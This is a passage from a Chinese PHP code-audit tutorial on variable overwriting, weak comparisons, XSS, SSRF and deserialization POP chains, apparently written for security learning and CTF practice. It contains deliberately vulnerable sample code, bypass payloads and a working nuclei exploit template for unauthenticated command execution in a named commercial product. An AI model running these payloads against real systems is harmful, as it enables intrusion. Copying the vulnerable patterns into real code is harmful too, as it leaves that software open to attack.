如果什么变量也不传,那么页面将回显You are not Ameng如果通过GET或者POST传入name=Ameng那么页面就会回显Ameng

+

可以见到此函数还是很危险的,没有修复方法,不使用就是最好的方法。所以在新版本的 PHP 中已经废弃了这个函数。

+

foreach()​

+

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

+
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement
+

第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

+

第二种格式做同样的事,只是除了当前单元的键名也会在每次循环中被赋给变量 $key。

+

那么这个函数如何实现变量的覆盖呢?我们来看个案例.

+

代码示例:

+
<?php
$name = 'who';
foreach($_GET as $key => $value) {
$$key = $value;
}
if($name == "Ameng"){
echo 'You are right!';
}
else{
echo 'You are flase!';
}
?>
+

那么执行结果是怎样的呢?当我们直接打开页面的时候它会输出You are false!,而当我们通过GET传参name=Ameng的时候,它会回显You are right!。那么这是为什么呢?我们来分析一下

+

关键点就在于$$这种写法。这种写法称为可变变量。一个变量能够获取一个普通变量的值作为这个可变变量的变量名。当使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。这样就产生了变量覆盖漏洞,如上代码示例。其执行过程为$$key=$name,最后赋值为$value,从而实现了变量覆盖。

+

弱类型比较​

+

md5()函数和sha1()绕过​

+

关于这两个函数想必我们不陌生,无论是在实际代码审计中,还是在CTF比赛中,这些我们都是碰到过的函数。那么当我们遇到用这两个函数来判断的时候,如果绕过呢?

+

PHP 在处理哈希字符串的时候,会使用!=或者==来对哈希值进行比较,它会把每一个0E开头的哈希值都解释为0,那么这个时候问题就来了,如果两个不同的值,经过哈希以后它们都变成了0E开头的哈希值,那么 PHP 就会将它们视作相等处理。那么0E开头的哈希值有哪些呢?

+
s878926199a
0e5459932745177090343288558410s155964671a
0e3427684168224515249741172544s214587387a
0e8482404488305379244658656119s214587387a
0e8482404488305379244658656119s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s1885207154a
0e5093672134182067008420087635s1502113478a
0e8615801632915612474043813960s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s155964671a
0e3427684168224515249741172544s1184209335a
0e0724858203927733895231090820s1665632922a
0e7311980614911630731971283637s1502113478a
0e8615801632915612474043813960s1836677006a
0e4810364908676611132600349007s1091221200a
0e9406242178565615578163273846s155964671a
0e3427684168224515249741172544s1502113478a
0e8615801632915612474043813960s155964671a
0e3427684168224515249741172544s1665632922a
0e7311980614911630731971283637s155964671a
0e3427684168224515249741172544s1091221200a
0e9406242178565615578163273846s1836677006a
0e4810364908676611132600349007s1885207154a
0e5093672134182067008420087635s532378020a
0e2204630958555115075880412058s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s214587387a
0e8482404488305379244658656119s1502113478a
0e8615801632915612474043813960s1091221200a
0e9406242178565615578163273846s1665632922a
0e7311980614911630731971283637s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s1665632922a
0e7311980614911630731971283637s878926199a
0e5459932745177090343288558410
+

来个简单的例子吧

+

代码示例:

+
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
echo '这就是弱类型绕过';
}
else{
echo '再思考一下';
}
?>
+

从上面我给出的哪些值中,挑两个不同的值传入参数,就能看到相应的结果

+

上面是md5()函数的绕过姿势,那么sha1()如何绕过呢?再来看一个简单的例子

+
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a,$b)){
if(sha1($a) === sha1($b)){
echo 'nice!!!';
}
else{
echo 'Try again!';
}
}
?>
+

当我们传入a[]=1&b[]=2的时候,虽然它会给出警告,说我们应该传入字符串而不应该是数组,但是它还是输出了nice!!!,所以我们完全可以用数字来绕过sha1()函数的比较。

+

is_numeric()绕过​

+

我们先来了解一下这个函数。此函数是检测变量是否为数字或者数字字符串

+
is_numeric( mixed $var) : bool
+

如果var是数字或者数字字符串那么就返回TRUE,否则就返回FALSE。那么这里说的绕过是什么姿势呢?是十六进制。我们先来看一个简单的例子。

+

代码示例:

+
<?php
$a = is_numeric('0x31206f722031');
if($a){
echo 'It meets my requirement';
}
else{
echo 'Try again';
}
?>
执行结果——>
It meets my requirement
+

这里说一下0x31206f722031这个是什么?这个是or 1=1的十六进制,从这里可以看出,如果某处使用了此函数,并将修饰后的变量带入数据库查询语句中,那么我们就能利用此漏洞实现sql注入。同样的,这个漏洞再CTF比赛中也是很常见的。

+

in_array()绕过​

+

此函数用来检测数组中是否存在某个值。

+
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool
+
参数​
+
    +
  • needle:带搜索的值(区分大小写)。
  • +
  • haystack:带搜索的数组。
  • +
  • strict:若此参数的值为TRUE,那么in_array()函数将会检查needle的类型是否和haystack中的类型相同。
  • +
+

有时候我们再传入一个数组的时候,代码可能会过滤某些敏感字符串,但是我们又需要传入这样的字符串,那么我们应该如何绕过它的检测呢?

+
<?php
$myarr = array('Ameng');
$needle = 0;
if(in_array($needle,$myarr)){
echo "It's in array";
}
else{
echo "not in array";
}
?>
+

上面代码示例执行的结果会是什么呢?从简单的逻辑上分析。0是不存在要搜索的数组中的,所以理论上,应该是输出not in array,但是实际却输出了It's in array。这是为什么呢?原因就在于PHP的默认类型转换。这里我们第三个参数并没有设置为true那么默认就是非严格比较,所以在数字与字符串进行比较时,字符串先被强制转换成数字,然后再进行比较。并且因为某些类型转换正在发生,就会导致发生数据丢失,并且都被视为相同。所以归根到底还是非严格比较导致的问题。所以再遇到这个函数用来变量检测的时候,我们可以看看第三个参数是否开启,若未开启,则存在数组绕过。

+

XSS​

+

在这里首先你要对XSS的基本原理要知道。PHP中一下这些函数之所以会出现XSS的漏洞情况,主要还是没有对输出的变量进行过滤。

+

print()​

+

代码示例:

+
<?php
$str = $_GET['x'];
print($str);
?>
+

img

+ +

代码示例:

+
<?php
$str = $_GET['x'];
print_r($str);
?>
+

img

+

echo()​

+

代码示例:

+
<?php
$str = $_GET['x'];
echo "$str";
?>
+

我们传入相应参数,执行结果如下:

+

img

+

printf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
printf($str);
?>
+

执行结果和上面相同,我就不再贴图片了。

+

sprintf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = sprintf($str);
echo "$a";
?>
+

die()​

+

此函数输出一条信息,并退出当前脚本。

+

代码示例:

+
<?php
$str = $_GET['x'];
die($str);
?>
+

var_dump()​

+

此函数打印变量的相关信息,用来显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开之,通过缩进显示其结构。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_dump($a);
?>
+

var_export()​

+

此函数输出或者返回一个变量的字符串表示。它返回关于传递给该函数的变量的结构信息,和var_dump类似,不同的是其返回的表示是合法的 PHP 代码。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_export($a);
?>
+

img

+

PHP黑魔法​

+

这里大部分函数的使用已经在上面详细介绍过了,这里我就针对每一种函数大概介绍一下其主要存在的利用方法。

+

md5()​

+

md5()函数绕过sql注入。我们来看一个例子。

+

代码示例:

+
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
+

这里提交的参数通过md5函数处理,然后再进入SQL查询语句,所以常规的注入手段就不行了,那么如果md5后的转换成字符串格式变成了'or'xxxx的格式,不就可以注入了么。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

+

转成字符串为'or'6xxx

+

eval()​

+

在执行命令时,可使用分号构造处多条语句。类似这种。

+
<?php
$cmd = "echo 'a';echo '--------------';echo 'b';";
echo eval($cmd);
?>
+

ereg()​

+

存在%00截断,当遇到使用此函数来进行正则匹配时,我们可以用%00来截断正则匹配,从而绕过正则。

+

strcmp()​

+

这个在前面介绍过,就是数组绕过技巧。

+

curl_setopt()​

+

存在ssrf漏洞。

+

代码示例:

+
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
+

使用file协议进行任意文件读取

+

img

+

除此之外还有dict协议查看端口信息。gopher协议反弹shell利用等。

+

preg_replace()​

+

此函数前面详细介绍过,/e模式下的命令执行。

+

urldecode()​

+

url二次编码绕过。

+

代码示例:

+
<?php
$name = urldecode($_GET['name']);
if($name = "Ameng"){
echo "Plase~";
}
else{
echo "sorry";
}
?>
+

将Ameng进行二次url编码,然后传入即可得到满足条件。

+

file_get_contents()​

+

常用伪协议来进行绕过。

+

parse_url()​

+

此函数主要用于绕过某些过滤,先简单了解一下函数的基本用法。

+

代码示例:

+
<?php
$url = "http://www.jlx-love.com/about";
$parts = parse_url($url);
print_r($parts);
?>

执行结果——>
Array
(
[scheme] => http
[host] => www.jlx-love.com [path] => /about
)
+

可以看到这个函数把我们的变量值拆分成一个几个部分。那么绕过过滤又是说的哪回事呢?其实就是当我们在浏览器输入url时,那么就会将url中的\转换为/,从而就会导致parse_url的白名单绕过。

+

反序列化漏洞​

+

简介​

+

在了解一些函数之前,我们首先需要了解什么是序列化和反序列化。

+

序列化:把对象转换为字节序列的过程成为对象的序列化。

+

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

+

归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。

+

在 PHP 中主要就是通过serialize和unserialize来实现数据的序列化和反序列化。

+

那么漏洞是如何形成的呢?

+

PHP 的反序列化漏洞主要是因为未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而就可以导致各种危险行为。

+

那么我们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。

+

代码示例:

+
<?php
class Ameng{
public $who = "Ameng";
}
$a = serialize(new Ameng);
echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}
+

img

+

这里还要补充一点,就是关于变量的分类,变量的类别有三种:

+
    +
  • public:正常操作,在反序列化时原型就行。
  • +
  • protected:反序列化时在变量名前加上%00*%00。
  • +
  • private:反序列化时在变量名前加上%00类名%00。
  • +
+

序列化我们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?

+

__wakeup()​

+

在我们反序列化时,会先检查类中是否存在__wakeup()如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()。

+

影响版本:

+

PHP5 < 5.6. +PHP7 < 7.0. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

function __destruct(){
echo "destruct执行<br>";

echo highlight_file($this->name, true);
}


function __wakeup(){
echo "wakeup执行<br>";
$this->name='1.php';
}
}
$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
unserialize($data);
?>
+

执行结果:

+

img

+

__sleep()​

+

__sleep()函数刚好与__waeup()相反,前者是在序列化一个对象时被调用,后者是在反序列化时被调用。那么该如何利用呢?我们看看代码。

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

public function __construct($name){
$this->name=$name;
}

function __sleep(){
echo "sleep()执行<br>";
echo highlight_file($this->name, true);
}

function __destruct(){
echo "over<br>";
}

function __wakeup(){
echo "wakeup执行<br>";
}
}
$a = new Ameng("2.php");
$b = serialize($a);
?>
+

执行结果:

+

img

+

__destruct()​

+

这个函数的作用其实在上面的例子中已经显示了,就是在对象被销毁时调用,倘若这个函数中有命令执行之类的功能,我们完全可以利用这一点来进行漏洞的利用,得到自己想要的结果。

+

__construct()​

+

这个函数的作用在__sleep()也是体现了的,这个函数就是在一个对象被创建时会调用这个函数,比如我在__sleep()中用这个函数来对变量进行赋值。

+

__call()​

+

此函数用来监视一个对象中的其他方法。当你尝试调用一个对象中不存在的或者被权限控制的方法,那么__call就会被自动调用

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{

public function __call($name,$args){
echo "<br>"."call执行失败";
}

public static function __callStatic($name,$args){
echo "<br>"."callStatic执行失败";
}
}
$a = new Ameng;
$a->b();
Ameng::b();
?>
+

执行结果:

+

img

+

__callStatic()​

+

这个方法是 PHP5.3 增加的新方法。主要是调用不可见的静态方法时会自动调用。具体使用在上面代码示例和结果可见。那么这两个函数有什么值得我们关注的呢?想一想,倘若这两个函数中有命令执行的函数,那么我们调用对象中不存在方法时就可以调用这两个函数,这不就达到我们想要的目的了。

+

__get()​

+

一般来说,我们总是把类的属性定义为private。但有时候我们对属性的读取和赋值是非常频繁,这个时候PHP就提供了两个函数来获取和赋值类中的属性。

+

get方法用来获取私有成员属性的值。

+

代码示例:

+
//__get()方法用来获取私有属性
public function __get($name){
return $this->$name;
}
+
参数​
+
    +
  • $name:要获取成员属性的名称。
  • +
+

__set()​

+

此方法用来给私有成员属性赋值。

+

代码示例:

+
//__set()方法用来设置私有属性
public function __set($name,$value){
$this->$name = $value;
}
+
参数​
+
    +
  • $name:要赋值的属性名。
  • +
  • $value:给属性赋值的值。
  • +
+

__isset()​

+

这个函数是当我们对不可访问属性调用isset()或者empty()时调用。

+

在这之前我们要先了解一下isset()函数的使用。isset()函数检测某个变量是否被设置了。所以这个时候问题就来了,如果我们使用这个函数去检测对象里面的成员是否设定,那么会发生什么呢?

+

若对象的成员是公有成员,那没什么问题。倘若对象的成员是私有成员,那这个函数就不行了,人家根本就不允许你访问,你咋能检测人家是否设定了呢?那我们该怎么办?这个时候我们可以在类里面加上__isset()方法,接下来就可以使用isset()在对象外面访问对象里面的私有成员了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __isset($content){
echo "当在类外面调用isset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
echo isset($ameng->name);
?>
+

执行结果:

+

img

+

__unset()​

+

这个方法基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面一致。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __unset($content){
echo "当在类外面调用unset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
unset($ameng->name);
?>
+

执行结果:

+

img

+

__toString()​

+

此函数是将一个对象当作一个字符串来使用时,就会自动调用该方法,且在该方法中,可以返回一定的字符串,来表示该对象转换为字符串之后的结果。

+

通常情况下,我们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,但是我们不能直接echo去输出对象,可是当我们使用__tostring()就可以直接用echo来输出了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __toString(){
return $this->name . $this->age . '岁了';
}
}
$ameng = new Ameng('Ameng',3);
echo $ameng;
?>
+

执行结果:

+
Ameng3岁了
+

__invoke()​

+

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

+

版本要求:

+

PHP > 5.3. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __invoke(){
echo '你用调用函数的方式调用了这个对象,所以我起作用了';
}
}
$ameng = new Ameng('Ameng',3);
$ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象,所以我起作用
+

pop链的构造​

+

思路​

+
    +
  1. 寻找位点(unserialize函数—>变量可控)
  2. +
  3. 正向构造(各种方法)
  4. +
  5. 反向推理(从要完成的目的出发,反向推理,最后找到最先被调用的位置处)
  6. +
+

来看一个简单的例子(HECTF):

+
<?php
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token =&$this->token_flag;
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
}

public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
+

我们要拿到flag,在__invoke()函数,当对象被当作函数调用时,那么就会自动执行该函数。所以我们要做的就是用函数来调用对象。

+

那么我们首先找到起点,就是unserialize函数的变量,因为这个变量是我们可控的,但是肯定是过滤了一些常见的协议,那些协议我在上面也简单介绍过用法。

+

通过函数的过程搜索,我们能够看到preg_match第二个参数会被当作字符串处理,在类Test中,我们可以给$func赋值给Read对象。

+

那么我们可以构造如下pop链

+
<?php 
··········
$read = new Read();
$show = new Show();
$test = new Test();

$read->token = &$read->token_flag;
$test->params = $read;
$show->str['str'] = $test;
$show->source = $show;
echo serialize($show);
?>
+

给个图总结一下:

+

img

+

phar与反序列化​

+
简介​
+

PHAR("PHP archive")是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

+
文件结构​
+
    +
  1. +

    a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。

    +
  2. +
  3. +

    官方手册

    +

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    +
  4. +
+

img

+
实验​
+

前提:将php.ini中的phar.readonly选项设置为off,不然无法生成phar文件。

+
phar.php:​
+
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='Hello I am Ameng';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+

在我们访问之后,会在当前目录下生成一个phar.phar文件,如下图所示。

+

img

+

然后查看文件的十六进制形式,我们就可以看到meta-data是以序列化的形式存储。既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图

+

img

+
Ameng.php​
+
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
+

执行结果:

+

img

+

这里简单介绍一下phar的大致应用,更详细可以参考seebug (opens new window)。

+

其他一些总结​

+

basename()​

+

此函数返回路径中的文件名的一部分(后面)

+
basename(path,suffix)
+
参数​
+
    +
  • path:必需。规定要检查的路径。
  • +
  • suffix:可选。规定文件的扩展名。
  • +
+

代码示例:

+
<?php
$path = "index.php/test.php";
echo basename($path);
?>

执行结果——>
test.php
+

此函数还有一个特点,就是会去掉文件名的非ASCII码值。

+

代码示例:

+
<?php
$path = $_GET['x'];
print_r(basename($path));
?>
+

我们通过 url 传入参数x=index.php/config.php/%ff

+

结果如下:

+

img

+

我们看到,%ff直接没了,而是直接输出前面的的文件名,这个可以用来绕过一些正则匹配。原因就在于%ff在通过 url 传参时会被 url 解码,解码成了不可见字符,满足了basename函数对文件名的非ASCII值去除的特点,从而被删掉。

+

实战项目​

+

任子行网络安全审计系统(PHP)​

+

寻找关键函数 move_uploaded_file

+

image-20240910171850890

+

提取部分代码进行分析

+
if($get_url_param == 'aaa_local_web_preview'){
if($_GET['name']!=null) $filename = formatget($_GET['name']);
if($_GET['suffix']!=null) $suffix = formatget($_GET['suffix']);
if($_GET['webTitle']!=null) $webTitle = formatget($_GET['webTitle']);
if($_GET['wcmWord']!=null) $wcmWord = formatget($_GET['wcmWord']);
if($_GET['titleOnly']!=null) $titleOnly = formatget($_GET['titleOnly']);

if($_GET['read']!=null) $read = formatget($_GET['read']);
$read = ($read)?$read:0;

$webTitle = ($webTitle)?$webTitle:"";
$wcmWord = ($wcmWord)?$wcmWord:"";

$webTitle = utf8format($webTitle);
$wcmWord = utf8format($wcmWord);

//已经预览过,不再进行上传图片动作,且不删除tmpPic文件
if(!$read){
if((!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.png'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpeg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.gif'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic'))){
move_uploaded_file($_FILES[$filename]["tmp_name"],'/usr/local/webui/auth/images/tmpPic'.$suffix);
$preview_tip = '上传文件过大,建议小于'.$size.'MB';
if(filesize('/usr/local/webui/auth/images/tmpPic'.$suffix)>$bytesize){
unlink('/usr/local/webui/auth/images/tmpPic'.$suffix);
echo "{";
echo "tip: '" . $preview_tip . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
return;
}
}else{
move_uploaded_file($_FILES[$filename]["tmp_name"],'/usr/local/webui/auth/images/test'.$suffix);
$preview_tip = '上传文件过大,建议小于'.$size.'MB';
if(filesize('/usr/local/webui/auth/images/test'.$suffix)>$bytesize){
echo "{";
echo "tip: '" . $preview_tip . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
return;
}else{
unlink('/usr/local/webui/auth/images/tmpPic.jpg');
unlink('/usr/local/webui/auth/images/tmpPic.png');
unlink('/usr/local/webui/auth/images/tmpPic.gif');
unlink('/usr/local/webui/auth/images/tmpPic.jpeg');
unlink('/usr/local/webui/auth/images/tmpPic');
rename('/usr/local/webui/auth/images/test'.$suffix,'/usr/local/webui/auth/images/tmpPic'.$suffix);
}
}

}


$tmpPage = file_get_contents('/usr/local/webui/auth/index_template.html',true);

if($suffix == "milo"){
$newName = "main.jpg";
}else{
$newName = 'tmpPic'.$suffix;
}

//换

//取消按钮作用
$tmpPage = str_replace('onclick', '',$tmpPage);
//$tmpPage = str_replace('button', 'but',$tmpPage);
$tmpPage = str_replace('function form_submit()', 'function form_fail()',$tmpPage);
$tmpPage = str_replace('javascript:login_out();', 'javascript:;',$tmpPage);
$tmpPage = str_replace('auth_changepwd.html?weburl=', '',$tmpPage);
$tmpPage = str_replace('{title}', $webTitle,$tmpPage);
$tmpPage = str_replace('{wcmWord}', $wcmWord,$tmpPage);
$tmpPage = str_replace('main.jpg', $newName,$tmpPage);

file_put_contents('/usr/local/webui/auth/preview.html',$tmpPage);

$new = $filename;
$msg = "success";

echo "{";
echo "error: '" . $new . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
return;
}

+

发现危险位置move_uploaded_file该逻辑里存在两个,第一个发现是需要存在的才能进入其中,所以直接看第二个即可

+

image-20240910172055291

+

向上找寻$suffix 参数,发现是通过GET传入,且进入formatget函数

+

image-20240910172352684

+

查询formatget函数存在两个用法,但这两个函数你会发现是一致的

+

image-20240910172435968

+

image-20240910172515067

+

htmlspecialchars为将字符串转换为HTML编码,返回一个去掉反斜杠的字符串。stripslashes识别类似 C 的 \n、\r ...、八进制和十六进制表示形式。均无伤大雅。也就是是说suffix作为名称拼接到文件名上并未做任何过滤。

+

image-20240910172828260

+

于是我们构造一下请求包,并发生请求包即可上传文件

+

image-20240910173034048

+

访问上传地址即可RCE

+

image-20240910173256273

+

山石云鉴主机安全管理系统(PHP、Python)​

+
+

山石云鉴主机安全管理系统存在前台命令执行漏洞,攻击者可以在没有登录的情况下执行执行系统命令,单只能通过文件查看回显。

+
+
id: hillstonenet-yunjian-rce2

info:
name: 山石云鉴主机安全管理系统前台命令执行漏洞2
author: b1ak2
severity: critical
description: |
山石云鉴主机安全管理系统存在前台命令执行漏洞,攻击者可以在没有登录的情况下执行执行系统命令,单只能通过文件查看回显。
reference:
- https://github.com/wy876/POC/blob/8e6d282d2616c5d5296e698f16bdcae2462ebe5c/%E5%B1%B1%E7%9F%B3%E7%BD%91%E7%A7%91%E4%BA%91%E9%89%B4%E5%AD%98%E5%9C%A8%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
metadata:
fofa-query: body="山石云鉴主机安全管理系统"
tags: hillstonenet,rce

http:
- raw:
- |
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=emhpeXVhbg;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

- |
GET /master/ajaxActions/getMessageSettingAction.php?token_csrf={{token_csrf}}&company_uuid=aaa&platform_sel=os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config") HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=emhpeXVhbg;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close


- |
GET /master/img/config HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=gs8bl1b288ummccm9n3ub4g323
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

extractors:
# 正则匹配,提取整个匹配到的值
- type: regex
name: token_csrf
part: body_1
internal: true
regex:
- \S{32}

matchers-condition: and
matchers:
- type: word
part: body_3
words:
- "uid=0(root) gid=0(root) groups=0(root)"

- type: word
part: body_2
words:
- "Status"
- "ErrMsg"
condition: and

- type: status
part: status_code_2
status:
- 200
+

在这个漏洞中出发点是getMessageSettingAction.php文件的platform_sel参数,查看相关代码,发现是一段json请求

+
<?php
include "../permission.php";
if(!isPermission('operator')){
echo "F";
return;
}else if(!verifyToken()){
echo "F";
return;
}
include_once "../includeUtils.php";
session_write_close();
$company_uuid = $_GET['company_uuid'];
$platform_sel = $_GET['platform_sel'];
$param = "{" . '"company_uuid":"'.$company_uuid .'"';
$param = $param . ',' . '"setting_type":' . $platform_sel;
$param = $param . "}";


$result=getMessageSettingInfo($param);
$resultArray = json_decode($result['body'], true);
$resultArray['Result']['sms_template_param'] = base64_decode($resultArray['Result']['sms_template_param']);
$resp = array("Status"=>$result['status'], "Result"=>$resultArray);
echo json_encode($resp,JSON_UNESCAPED_UNICODE);
?>
+

触发方式,这段为python代码

+
os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config")
+

于是不难猜出php只是一个中间价,触发的地方是python起的服务,里面肯定有个eval函数之类的

+
function postCommand($parameter){
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$url = "http://".$GLOBALS['serverNm'].":8000/";
writeLog('post param is '.$parameter, 2);
writeLog('url is '.$url, 2);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$headers = array(
"Content-Length: ".strlen($parameter),
"Content-Type: application/x-www-form-urlencoded"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec ($ch);
writeLog('post api returns:'.$result, 2);
$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
writeLog($url.' status:'.$httpCode, 2);
writeLog($url.' get api returns:'.$result, 2);
curl_close ($ch);
return array("status"=>$httpCode, "body"=>$result);

}
+

找到其中的python服务

+

image-20240911103748098

+

查看相关代码发现为一个简易的python服务。

+
class CommandHandler (tornado.web.RequestHandler):
# @gen.coroutine
def post(self):
try:
logging.debug('\n'.join(
'{0}:{1}'.format(k, v) for (k, v) in self.request.headers.get_all()
))
logging.debug(self.request.body)

command = self.request.body
ret, msg = routeCommand(command, self)

if ret and ret != "alreadySendToFrontEnd":
self.write(msg)
self.finish()
elif not ret:
logging.error(msg)
raise Exception(msg)
except Exception as e:
